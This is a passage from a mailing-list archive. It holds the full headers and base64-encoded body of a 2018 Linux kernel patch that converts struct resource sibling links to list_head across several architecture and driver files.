 static void __init __reserve_region_with_split(struct resource *root,
 		resource_size_t start, resource_size_t end,
 		const char *name)
-- 
2.13.6

From - Thu Nov 08 21:41:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Newsgroups: gmane.linux.hardware.nvdimm,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.pci,gmane.linux.kernel.input,gmane.linux.ports.parisc,gmane.linux.kernel.kexec,gmane.linux.ports.ppc64.devel
Subject: [PATCH v5 2/4] resource: Use list_head to link sibling resource
Date: Tue, 12 Jun 2018 11:28:29 +0800
Lines: 570
Approved: news@gmane.org
Message-ID: <20180612032831.29747-3-bhe@redhat.com>
References: <20180612032831.29747-1-bhe@redhat.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1528774065 17573 195.159.176.226 (12 Jun 2018 03:27:45 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 12 Jun 2018 03:27:45 +0000 (UTC)
Cc: brijesh.singh-5C7GfCeVMHo@public.gmane.org, devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, airlied-cv59FeDIM0c@public.gmane.org,
 linux-pci-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, richard.weiyang-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, keith.busch-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org,
 jcmvbkbc-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, baiyaowei-0p4V/sDNsUmm0O/7XYngnFaTQe2KTcn/@public.gmane.org, kys-0li6OtcxBFHby3iVrkZq2A@public.gmane.org,
 frowand.list-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, lorenzo.pieralisi-5wv7dgnIgG8@public.gmane.org, sthemmin-0li6OtcxBFHby3iVrkZq2A@public.gmane.org,
 Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>, linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org,
 patrik.r.jakobsson-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, linux-input-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gustavo-THi1TnShQwVAfugRpC6u6w@public.gmane.org,
 dyoung-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org, thomas.lendacky-5C7GfCeVMHo@public.gmane.org, haiyangz-0li6OtcxBFHby3iVrkZq2A@public.gmane.org,
 maarten.lankhorst-VuQAYsv1563Yd54FQh9/CA@public.gmane.org, jglisse-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org, seanpaul-F7+t8E8rja9g9hUCZPvPmw@public.gmane.org,
 bhelgaas-hpIqsD4AKlfQT0dZR+AlfA@public.gmane.org, tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org, yinghai-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
 jonathan.derrick-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, chris-YvXeqwSYzG2sTnJN9+BGXg@public.gmane.org, monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org,
 linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org,
 dmitry.torokhov-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, kexec-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, ebiederm-aS9lmoZGLiVWk0Htik3J/w@public.gmane.org,
 devel-tBiZLqfeLfOHmIFyCCdPziST3g8Odh+X@public.gmane.org, linuxppc-dev@lists.o
To: linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org,
 robh+dt-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org, dan.j.williams-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, nicolas.pitre-QSEj5FYQhm4dnm+yROfE0A@public.gmane.org,
 josh-iaAMLnmF4UmaiuxdJuQwMA@public.gmane.org, fengguang.wu-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, bp-l3A5Bk7waGM@public.gmane.org
Original-X-From: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org Tue Jun 12 05:27:37 2018
Return-path: <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Envelope-to: gln-linux-nvdimm@m.gmane.org
Original-Received: from ml01.01.org ([198.145.21.10])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>)
	id 1fSZy4-0004OS-IM
	for gln-linux-nvdimm@m.gmane.org; Tue, 12 Jun 2018 05:27:37 +0200
Original-Received: from [127.0.0.1] (localhost [IPv6:::1])
	by ml01.01.org (Postfix) with ESMTP id 90E20211E3E18;
	Mon, 11 Jun 2018 20:29:47 -0700 (PDT)
X-Original-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Delivered-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Received-SPF: Pass (sender SPF authorized) identity=mailfrom;
 client-ip=66.187.233.73; helo=mx1.redhat.com; envelope-from=bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org;
 receiver=linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org 
Original-Received: from mx1.redhat.com (mx3-rdu2.redhat.com [66.187.233.73])
 (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
 (No client certificate requested)
 by ml01.01.org (Postfix) with ESMTPS id BFC2D211E3E11
 for <linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>; Mon, 11 Jun 2018 20:29:45 -0700 (PDT)
Original-Received: from smtp.corp.redhat.com (int-mx03.intmail.prod.int.rdu2.redhat.com
 [10.11.54.3])
 (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits))
 (No client certificate requested)
 by mx1.redhat.com (Postfix) with ESMTPS id 78F7D401EF2F;
 Tue, 12 Jun 2018 03:29:44 +0000 (UTC)
Original-Received: from MiWiFi-R3L-srv.redhat.com (ovpn-8-16.pek2.redhat.com
 [10.72.8.16])
 by smtp.corp.redhat.com (Postfix) with ESMTP id 87738100294B;
 Tue, 12 Jun 2018 03:29:21 +0000 (UTC)
In-Reply-To: <20180612032831.29747-1-bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
X-Scanned-By: MIMEDefang 2.78 on 10.11.54.3
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16
 (mx1.redhat.com [10.11.55.5]); Tue, 12 Jun 2018 03:29:44 +0000 (UTC)
X-Greylist: inspected by milter-greylist-4.5.16 (mx1.redhat.com [10.11.55.5]);
 Tue, 12 Jun 2018 03:29:44 +0000 (UTC) for IP:'10.11.54.3'
 DOMAIN:'int-mx03.intmail.prod.int.rdu2.redhat.com'
 HELO:'smtp.corp.redhat.com' FROM:'bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org' RCPT:''
X-BeenThere: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
X-Mailman-Version: 2.1.26
Precedence: list
List-Id: "Linux-nvdimm developer list." <linux-nvdimm.lists.01.org>
List-Unsubscribe: <https://lists.01.org/mailman/options/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.01.org/pipermail/linux-nvdimm/>
List-Post: <mailto:linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
List-Help: <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=help>
List-Subscribe: <https://lists.01.org/mailman/listinfo/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=subscribe>
Errors-To: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Original-Sender: "Linux-nvdimm" <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Xref: news.gmane.org gmane.linux.hardware.nvdimm:10294 gmane.linux.kernel:2791956 gmane.linux.drivers.devicetree:274308 gmane.linux.kernel.pci:73184 gmane.linux.kernel.input:61516 gmane.linux.ports.parisc:28679 gmane.linux.kernel.kexec:20868 gmane.linux.ports.ppc64.devel:158714
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.nvdimm/10294>

VGhlIHN0cnVjdCByZXNvdXJjZSB1c2VzIHNpbmdseSBsaW5rZWQgbGlzdCB0byBsaW5rIHNpYmxp
bmdzLCBpbXBsZW1lbnRlZApieSBwb2ludGVyIG9wZXJhdGlvbi4gUmVwbGFjZSBpdCB3aXRoIGxp
c3RfaGVhZCBmb3IgYmV0dGVyIGNvZGUgcmVhZGFiaWxpdHkuCgpCYXNlZCBvbiB0aGlzIGxpc3Rf
aGVhZCByZXBsYWNlbWVudCwgaXQgd2lsbCBiZSB2ZXJ5IGVhc3kgdG8gZG8gcmV2ZXJzZQppdGVy
YXRpb24gb24gaW9tZW1fcmVzb3VyY2UncyBzaWJsaW5nIGxpc3QgaW4gbGF0ZXIgcGF0Y2guCgpC
ZXNpZGVzLCB0eXBlIG9mIG1lbWJlciB2YXJpYWJsZXMgb2Ygc3RydWN0IHJlc291cmNlLCBzaWJs
aW5nIGFuZCBjaGlsZCwgYXJlCmNoYW5nZWQgZnJvbSAnc3RydWN0IHJlc291cmNlIConIHRvICdz
dHJ1Y3QgbGlzdF9oZWFkJy4gVGhpcyBicmluZ3MgdHdvCnBvaW50ZXJzIG9mIHNpemUgaW5jcmVh
c2UuCgpTdWdnZXN0ZWQtYnk6IEFuZHJldyBNb3J0b24gPGFrcG1AbGludXgtZm91bmRhdGlvbi5v
cmc+ClNpZ25lZC1vZmYtYnk6IEJhb3F1YW4gSGUgPGJoZUByZWRoYXQuY29tPgpDYzogUGF0cmlr
IEpha29ic3NvbiA8cGF0cmlrLnIuamFrb2Jzc29uQGdtYWlsLmNvbT4KQ2M6IERhdmlkIEFpcmxp
ZSA8YWlybGllZEBsaW51eC5pZT4KQ2M6ICJLLiBZLiBTcmluaXZhc2FuIiA8a3lzQG1pY3Jvc29m
dC5jb20+CkNjOiBIYWl5YW5nIFpoYW5nIDxoYWl5YW5nekBtaWNyb3NvZnQuY29tPgpDYzogU3Rl
cGhlbiBIZW1taW5nZXIgPHN0aGVtbWluQG1pY3Jvc29mdC5jb20+CkNjOiBEbWl0cnkgVG9yb2to
b3YgPGRtaXRyeS50b3Jva2hvdkBnbWFpbC5jb20+CkNjOiBEYW4gV2lsbGlhbXMgPGRhbi5qLndp
bGxpYW1zQGludGVsLmNvbT4KQ2M6IFJvYiBIZXJyaW5nIDxyb2JoK2R0QGtlcm5lbC5vcmc+CkNj
OiBGcmFuayBSb3dhbmQgPGZyb3dhbmQubGlzdEBnbWFpbC5jb20+CkNjOiBLZWl0aCBCdXNjaCA8
a2VpdGguYnVzY2hAaW50ZWwuY29tPgpDYzogSm9uYXRoYW4gRGVycmljayA8am9uYXRoYW4uZGVy
cmlja0BpbnRlbC5jb20+CkNjOiBMb3JlbnpvIFBpZXJhbGlzaSA8bG9yZW56by5waWVyYWxpc2lA
YXJtLmNvbT4KQ2M6IEJqb3JuIEhlbGdhYXMgPGJoZWxnYWFzQGdvb2dsZS5jb20+CkNjOiBUaG9t
YXMgR2xlaXhuZXIgPHRnbHhAbGludXRyb25peC5kZT4KQ2M6IEJyaWplc2ggU2luZ2ggPGJyaWpl
c2guc2luZ2hAYW1kLmNvbT4KQ2M6ICJKw6lyw7RtZSBHbGlzc2UiIDxqZ2xpc3NlQHJlZGhhdC5j
b20+CkNjOiBCb3Jpc2xhdiBQZXRrb3YgPGJwQHN1c2UuZGU+CkNjOiBUb20gTGVuZGFja3kgPHRo
b21hcy5sZW5kYWNreUBhbWQuY29tPgpDYzogR3JlZyBLcm9haC1IYXJ0bWFuIDxncmVna2hAbGlu
dXhmb3VuZGF0aW9uLm9yZz4KQ2M6IFlhb3dlaSBCYWkgPGJhaXlhb3dlaUBjbXNzLmNoaW5hbW9i
aWxlLmNvbT4KQ2M6IFdlaSBZYW5nIDxyaWNoYXJkLndlaXlhbmdAZ21haWwuY29tPgpDYzogZGV2
ZWxAbGludXhkcml2ZXJwcm9qZWN0Lm9yZwpDYzogbGludXgtaW5wdXRAdmdlci5rZXJuZWwub3Jn
CkNjOiBsaW51eC1udmRpbW1AbGlzdHMuMDEub3JnCkNjOiBkZXZpY2V0cmVlQHZnZXIua2VybmVs
Lm9yZwpDYzogbGludXgtcGNpQHZnZXIua2VybmVsLm9yZwotLS0KIGFyY2gvYXJtL3BsYXQtc2Ft
c3VuZy9wbS1jaGVjay5jICAgICAgICAgICAgfCAgIDYgKy0KIGFyY2gvbWljcm9ibGF6ZS9wY2kv
cGNpLWNvbW1vbi5jICAgICAgICAgICAgfCAgIDQgKy0KIGFyY2gvcG93ZXJwYy9rZXJuZWwvcGNp
LWNvbW1vbi5jICAgICAgICAgICAgfCAgIDQgKy0KIGFyY2gvc3BhcmMva2VybmVsL2lvcG9ydC5j
ICAgICAgICAgICAgICAgICAgfCAgIDIgKy0KIGFyY2gveHRlbnNhL2luY2x1ZGUvYXNtL3BjaS1i
cmlkZ2UuaCAgICAgICAgfCAgIDQgKy0KIGRyaXZlcnMvZWlzYS9laXNhLWJ1cy5jICAgICAgICAg
ICAgICAgICAgICAgfCAgIDIgKwogZHJpdmVycy9ncHUvZHJtL2RybV9tZW1vcnkuYyAgICAgICAg
ICAgICAgICB8ICAgMyArLQogZHJpdmVycy9ncHUvZHJtL2dtYTUwMC9ndHQuYyAgICAgICAgICAg
ICAgICB8ICAgNSArLQogZHJpdmVycy9odi92bWJ1c19kcnYuYyAgICAgICAgICAgICAgICAgICAg
ICB8ICA1MiArKystLS0tCiBkcml2ZXJzL2lucHV0L2pveXN0aWNrL2lmb3JjZS9pZm9yY2UtbWFp
bi5jIHwgICA0ICstCiBkcml2ZXJzL252ZGltbS9uYW1lc3BhY2VfZGV2cy5jICAgICAgICAgICAg
IHwgICA2ICstCiBkcml2ZXJzL252ZGltbS9uZC5oICAgICAgICAgICAgICAgICAgICAgICAgIHwg
ICA1ICstCiBkcml2ZXJzL29mL2FkZHJlc3MuYyAgICAgICAgICAgICAgICAgICAgICAgIHwgICA0
ICstCiBkcml2ZXJzL3BhcmlzYy9sYmFfcGNpLmMgICAgICAgICAgICAgICAgICAgIHwgICA0ICst
CiBkcml2ZXJzL3BjaS9ob3N0L3ZtZC5jICAgICAgICAgICAgICAgICAgICAgIHwgICA4ICstCiBk
cml2ZXJzL3BjaS9wcm9iZS5jICAgICAgICAgICAgICAgICAgICAgICAgIHwgICAyICsKIGRyaXZl
cnMvcGNpL3NldHVwLWJ1cy5jICAgICAgICAgICAgICAgICAgICAgfCAgIDIgKy0KIGluY2x1ZGUv
bGludXgvaW9wb3J0LmggICAgICAgICAgICAgICAgICAgICAgfCAgMTcgKystCiBrZXJuZWwvcmVz
b3VyY2UuYyAgICAgICAgICAgICAgICAgICAgICAgICAgIHwgMjExICsrKysrKysrKysrKysrLS0t
LS0tLS0tLS0tLS0KIDE5IGZpbGVzIGNoYW5nZWQsIDE3NiBpbnNlcnRpb25zKCspLCAxNjkgZGVs
ZXRpb25zKC0pCgpkaWZmIC0tZ2l0IGEvYXJjaC9hcm0vcGxhdC1zYW1zdW5nL3BtLWNoZWNrLmMg
Yi9hcmNoL2FybS9wbGF0LXNhbXN1bmcvcG0tY2hlY2suYwppbmRleCBjZDJjMDJjNjhiYzMuLjU0
OTQzNTViMWM0OSAxMDA2NDQKLS0tIGEvYXJjaC9hcm0vcGxhdC1zYW1zdW5nL3BtLWNoZWNrLmMK
KysrIGIvYXJjaC9hcm0vcGxhdC1zYW1zdW5nL3BtLWNoZWNrLmMKQEAgLTQ2LDggKzQ2LDggQEAg
dHlwZWRlZiB1MzIgKihydW5fZm5fdCkoc3RydWN0IHJlc291cmNlICpwdHIsIHUzMiAqYXJnKTsK
IHN0YXRpYyB2b2lkIHMzY19wbV9ydW5fcmVzKHN0cnVjdCByZXNvdXJjZSAqcHRyLCBydW5fZm5f
dCBmbiwgdTMyICphcmcpCiB7CiAJd2hpbGUgKHB0ciAhPSBOVUxMKSB7Ci0JCWlmIChwdHItPmNo
aWxkICE9IE5VTEwpCi0JCQlzM2NfcG1fcnVuX3JlcyhwdHItPmNoaWxkLCBmbiwgYXJnKTsKKwkJ
aWYgKCFsaXN0X2VtcHR5KCZwdHItPmNoaWxkKSkKKwkJCXMzY19wbV9ydW5fcmVzKHJlc291cmNl
X2ZpcnN0X2NoaWxkKCZwdHItPmNoaWxkKSwgZm4sIGFyZyk7CiAKIAkJaWYgKChwdHItPmZsYWdz
ICYgSU9SRVNPVVJDRV9TWVNURU1fUkFNKQogCQkJCT09IElPUkVTT1VSQ0VfU1lTVEVNX1JBTSkg
ewpAQCAtNTcsNyArNTcsNyBAQCBzdGF0aWMgdm9pZCBzM2NfcG1fcnVuX3JlcyhzdHJ1Y3QgcmVz
b3VyY2UgKnB0ciwgcnVuX2ZuX3QgZm4sIHUzMiAqYXJnKQogCQkJYXJnID0gKGZuKShwdHIsIGFy
Zyk7CiAJCX0KIAotCQlwdHIgPSBwdHItPnNpYmxpbmc7CisJCXB0ciA9IHJlc291cmNlX3NpYmxp
bmcocHRyKTsKIAl9CiB9CiAKZGlmZiAtLWdpdCBhL2FyY2gvbWljcm9ibGF6ZS9wY2kvcGNpLWNv
bW1vbi5jIGIvYXJjaC9taWNyb2JsYXplL3BjaS9wY2ktY29tbW9uLmMKaW5kZXggNzg5OWJhZmFi
MDY0Li4yYmY3M2UyN2UyMzEgMTAwNjQ0Ci0tLSBhL2FyY2gvbWljcm9ibGF6ZS9wY2kvcGNpLWNv
bW1vbi5jCisrKyBiL2FyY2gvbWljcm9ibGF6ZS9wY2kvcGNpLWNvbW1vbi5jCkBAIC01MzMsNyAr
NTMzLDkgQEAgdm9pZCBwY2lfcHJvY2Vzc19icmlkZ2VfT0ZfcmFuZ2VzKHN0cnVjdCBwY2lfY29u
dHJvbGxlciAqaG9zZSwKIAkJCXJlcy0+ZmxhZ3MgPSByYW5nZS5mbGFnczsKIAkJCXJlcy0+c3Rh
cnQgPSByYW5nZS5jcHVfYWRkcjsKIAkJCXJlcy0+ZW5kID0gcmFuZ2UuY3B1X2FkZHIgKyByYW5n
ZS5zaXplIC0gMTsKLQkJCXJlcy0+cGFyZW50ID0gcmVzLT5jaGlsZCA9IHJlcy0+c2libGluZyA9
IE5VTEw7CisJCQlyZXMtPnBhcmVudCA9IE5VTEw7CisJCQlJTklUX0xJU1RfSEVBRCgmcmVzLT5j
aGlsZCk7CisJCQlJTklUX0xJU1RfSEVBRCgmcmVzLT5zaWJsaW5nKTsKIAkJfQogCX0KIApkaWZm
IC0tZ2l0IGEvYXJjaC9wb3dlcnBjL2tlcm5lbC9wY2ktY29tbW9uLmMgYi9hcmNoL3Bvd2VycGMv
a2VybmVsL3BjaS1jb21tb24uYwppbmRleCA5MjYwMzViYjM3OGQuLjI4ZmJlODNjOWRhZiAxMDA2
NDQKLS0tIGEvYXJjaC9wb3dlcnBjL2tlcm5lbC9wY2ktY29tbW9uLmMKKysrIGIvYXJjaC9wb3dl
cnBjL2tlcm5lbC9wY2ktY29tbW9uLmMKQEAgLTc2MSw3ICs3NjEsOSBAQCB2b2lkIHBjaV9wcm9j
ZXNzX2JyaWRnZV9PRl9yYW5nZXMoc3RydWN0IHBjaV9jb250cm9sbGVyICpob3NlLAogCQkJcmVz
LT5mbGFncyA9IHJhbmdlLmZsYWdzOwogCQkJcmVzLT5zdGFydCA9IHJhbmdlLmNwdV9hZGRyOwog
CQkJcmVzLT5lbmQgPSByYW5nZS5jcHVfYWRkciArIHJhbmdlLnNpemUgLSAxOwotCQkJcmVzLT5w
YXJlbnQgPSByZXMtPmNoaWxkID0gcmVzLT5zaWJsaW5nID0gTlVMTDsKKwkJCXJlcy0+cGFyZW50
ID0gTlVMTDsKKwkJCUlOSVRfTElTVF9IRUFEKCZyZXMtPmNoaWxkKTsKKwkJCUlOSVRfTElTVF9I
RUFEKCZyZXMtPnNpYmxpbmcpOwogCQl9CiAJfQogfQpkaWZmIC0tZ2l0IGEvYXJjaC9zcGFyYy9r
ZXJuZWwvaW9wb3J0LmMgYi9hcmNoL3NwYXJjL2tlcm5lbC9pb3BvcnQuYwppbmRleCBjY2E5MTM0
Y2ZhN2QuLjk5ZWZlNGU5OGIxNiAxMDA2NDQKLS0tIGEvYXJjaC9zcGFyYy9rZXJuZWwvaW9wb3J0
LmMKKysrIGIvYXJjaC9zcGFyYy9rZXJuZWwvaW9wb3J0LmMKQEAgLTY2OSw3ICs2NjksNyBAQCBz
dGF0aWMgaW50IHNwYXJjX2lvX3Byb2Nfc2hvdyhzdHJ1Y3Qgc2VxX2ZpbGUgKm0sIHZvaWQgKnYp
CiAJc3RydWN0IHJlc291cmNlICpyb290ID0gbS0+cHJpdmF0ZSwgKnI7CiAJY29uc3QgY2hhciAq
bm07CiAKLQlmb3IgKHIgPSByb290LT5jaGlsZDsgciAhPSBOVUxMOyByID0gci0+c2libGluZykg
eworCWxpc3RfZm9yX2VhY2hfZW50cnkociwgJnJvb3QtPmNoaWxkLCBzaWJsaW5nKSB7CiAJCWlm
ICgobm0gPSByLT5uYW1lKSA9PSBOVUxMKSBubSA9ICI/Pz8iOwogCQlzZXFfcHJpbnRmKG0sICIl
MDE2bGx4LSUwMTZsbHg6ICVzXG4iLAogCQkJCSh1bnNpZ25lZCBsb25nIGxvbmcpci0+c3RhcnQs
CmRpZmYgLS1naXQgYS9hcmNoL3h0ZW5zYS9pbmNsdWRlL2FzbS9wY2ktYnJpZGdlLmggYi9hcmNo
L3h0ZW5zYS9pbmNsdWRlL2FzbS9wY2ktYnJpZGdlLmgKaW5kZXggMGI2OGM3NmVjMWU2Li5mNDg3
YjA2ODE3ZGYgMTAwNjQ0Ci0tLSBhL2FyY2gveHRlbnNhL2luY2x1ZGUvYXNtL3BjaS1icmlkZ2Uu
aAorKysgYi9hcmNoL3h0ZW5zYS9pbmNsdWRlL2FzbS9wY2ktYnJpZGdlLmgKQEAgLTcxLDggKzcx
LDggQEAgc3RhdGljIGlubGluZSB2b2lkIHBjaWJpb3NfaW5pdF9yZXNvdXJjZShzdHJ1Y3QgcmVz
b3VyY2UgKnJlcywKIAlyZXMtPmZsYWdzID0gZmxhZ3M7CiAJcmVzLT5uYW1lID0gbmFtZTsKIAly
ZXMtPnBhcmVudCA9IE5VTEw7Ci0JcmVzLT5zaWJsaW5nID0gTlVMTDsKLQlyZXMtPmNoaWxkID0g
TlVMTDsKKwlJTklUX0xJU1RfSEVBRCgmcmVzLT5jaGlsZCk7CisJSU5JVF9MSVNUX0hFQUQoJnJl
cy0+c2libGluZyk7CiB9CiAKIApkaWZmIC0tZ2l0IGEvZHJpdmVycy9laXNhL2Vpc2EtYnVzLmMg
Yi9kcml2ZXJzL2Vpc2EvZWlzYS1idXMuYwppbmRleCAxZTgwNjJmNmRiZmMuLmRiYTc4Zjc1ZmQw
NiAxMDA2NDQKLS0tIGEvZHJpdmVycy9laXNhL2Vpc2EtYnVzLmMKKysrIGIvZHJpdmVycy9laXNh
L2Vpc2EtYnVzLmMKQEAgLTQwOCw2ICs0MDgsOCBAQCBzdGF0aWMgc3RydWN0IHJlc291cmNlIGVp
c2Ffcm9vdF9yZXMgPSB7CiAJLnN0YXJ0ID0gMCwKIAkuZW5kICAgPSAweGZmZmZmZmZmLAogCS5m
bGFncyA9IElPUkVTT1VSQ0VfSU8sCisJLnNpYmxpbmcgPSBMSVNUX0hFQURfSU5JVChlaXNhX3Jv
b3RfcmVzLnNpYmxpbmcpLAorCS5jaGlsZCAgPSBMSVNUX0hFQURfSU5JVChlaXNhX3Jvb3RfcmVz
LmNoaWxkKSwKIH07CiAKIHN0YXRpYyBpbnQgZWlzYV9idXNfY291bnQ7CmRpZmYgLS1naXQgYS9k
cml2ZXJzL2dwdS9kcm0vZHJtX21lbW9yeS5jIGIvZHJpdmVycy9ncHUvZHJtL2RybV9tZW1vcnku
YwppbmRleCAzYzU0MDQ0MjE0ZGIuLjUzZTMwMGE5OTNkYyAxMDA2NDQKLS0tIGEvZHJpdmVycy9n
cHUvZHJtL2RybV9tZW1vcnkuYworKysgYi9kcml2ZXJzL2dwdS9kcm0vZHJtX21lbW9yeS5jCkBA
IC0xNTUsOSArMTU1LDggQEAgdTY0IGRybV9nZXRfbWF4X2lvbWVtKHZvaWQpCiAJc3RydWN0IHJl
c291cmNlICp0bXA7CiAJcmVzb3VyY2Vfc2l6ZV90IG1heF9pb21lbSA9IDA7CiAKLQlmb3IgKHRt
cCA9IGlvbWVtX3Jlc291cmNlLmNoaWxkOyB0bXA7IHRtcCA9IHRtcC0+c2libGluZykgeworCWxp
c3RfZm9yX2VhY2hfZW50cnkodG1wLCAmaW9tZW1fcmVzb3VyY2UuY2hpbGQsIHNpYmxpbmcpCiAJ
CW1heF9pb21lbSA9IG1heChtYXhfaW9tZW0sICB0bXAtPmVuZCk7Ci0JfQogCiAJcmV0dXJuIG1h
eF9pb21lbTsKIH0KZGlmZiAtLWdpdCBhL2RyaXZlcnMvZ3B1L2RybS9nbWE1MDAvZ3R0LmMgYi9k
cml2ZXJzL2dwdS9kcm0vZ21hNTAwL2d0dC5jCmluZGV4IDM5NDliMDk5MDkxNi4uYWRkZDNiYzAw
OWFmIDEwMDY0NAotLS0gYS9kcml2ZXJzL2dwdS9kcm0vZ21hNTAwL2d0dC5jCisrKyBiL2RyaXZl
cnMvZ3B1L2RybS9nbWE1MDAvZ3R0LmMKQEAgLTU2NSw3ICs1NjUsNyBAQCBpbnQgcHNiX2d0dF9p
bml0KHN0cnVjdCBkcm1fZGV2aWNlICpkZXYsIGludCByZXN1bWUpCiBpbnQgcHNiX2d0dF9yZXN0
b3JlKHN0cnVjdCBkcm1fZGV2aWNlICpkZXYpCiB7CiAJc3RydWN0IGRybV9wc2JfcHJpdmF0ZSAq
ZGV2X3ByaXYgPSBkZXYtPmRldl9wcml2YXRlOwotCXN0cnVjdCByZXNvdXJjZSAqciA9IGRldl9w
cml2LT5ndHRfbWVtLT5jaGlsZDsKKwlzdHJ1Y3QgcmVzb3VyY2UgKnI7CiAJc3RydWN0IGd0dF9y
YW5nZSAqcmFuZ2U7CiAJdW5zaWduZWQgaW50IHJlc3RvcmVkID0gMCwgdG90YWwgPSAwLCBzaXpl
ID0gMDsKIApAQCAtNTczLDE0ICs1NzMsMTMgQEAgaW50IHBzYl9ndHRfcmVzdG9yZShzdHJ1Y3Qg
ZHJtX2RldmljZSAqZGV2KQogCW11dGV4X2xvY2soJmRldl9wcml2LT5ndHRfbXV0ZXgpOwogCXBz
Yl9ndHRfaW5pdChkZXYsIDEpOwogCi0Jd2hpbGUgKHIgIT0gTlVMTCkgeworCWxpc3RfZm9yX2Vh
Y2hfZW50cnkociwgJmRldl9wcml2LT5ndHRfbWVtLT5jaGlsZCwgc2libGluZykgewogCQlyYW5n
ZSA9IGNvbnRhaW5lcl9vZihyLCBzdHJ1Y3QgZ3R0X3JhbmdlLCByZXNvdXJjZSk7CiAJCWlmIChy
YW5nZS0+cGFnZXMpIHsKIAkJCXBzYl9ndHRfaW5zZXJ0KGRldiwgcmFuZ2UsIDEpOwogCQkJc2l6
ZSArPSByYW5nZS0+cmVzb3VyY2UuZW5kIC0gcmFuZ2UtPnJlc291cmNlLnN0YXJ0OwogCQkJcmVz
dG9yZWQrKzsKIAkJfQotCQlyID0gci0+c2libGluZzsKIAkJdG90YWwrKzsKIAl9CiAJbXV0ZXhf
dW5sb2NrKCZkZXZfcHJpdi0+Z3R0X211dGV4KTsKZGlmZiAtLWdpdCBhL2RyaXZlcnMvaHYvdm1i
dXNfZHJ2LmMgYi9kcml2ZXJzL2h2L3ZtYnVzX2Rydi5jCmluZGV4IGIxMGZlMjZjNDg5MS4uZDg3
ZWM1YTFiYzRjIDEwMDY0NAotLS0gYS9kcml2ZXJzL2h2L3ZtYnVzX2Rydi5jCisrKyBiL2RyaXZl
cnMvaHYvdm1idXNfZHJ2LmMKQEAgLTE0MTIsOSArMTQxMiw4IEBAIHN0YXRpYyBhY3BpX3N0YXR1
cyB2bWJ1c193YWxrX3Jlc291cmNlcyhzdHJ1Y3QgYWNwaV9yZXNvdXJjZSAqcmVzLCB2b2lkICpj
dHgpCiB7CiAJcmVzb3VyY2Vfc2l6ZV90IHN0YXJ0ID0gMDsKIAlyZXNvdXJjZV9zaXplX3QgZW5k
ID0gMDsKLQlzdHJ1Y3QgcmVzb3VyY2UgKm5ld19yZXM7CisJc3RydWN0IHJlc291cmNlICpuZXdf
cmVzLCAqdG1wOwogCXN0cnVjdCByZXNvdXJjZSAqKm9sZF9yZXMgPSAmaHlwZXJ2X21taW87Ci0J
c3RydWN0IHJlc291cmNlICoqcHJldl9yZXMgPSBOVUxMOwogCiAJc3dpdGNoIChyZXMtPnR5cGUp
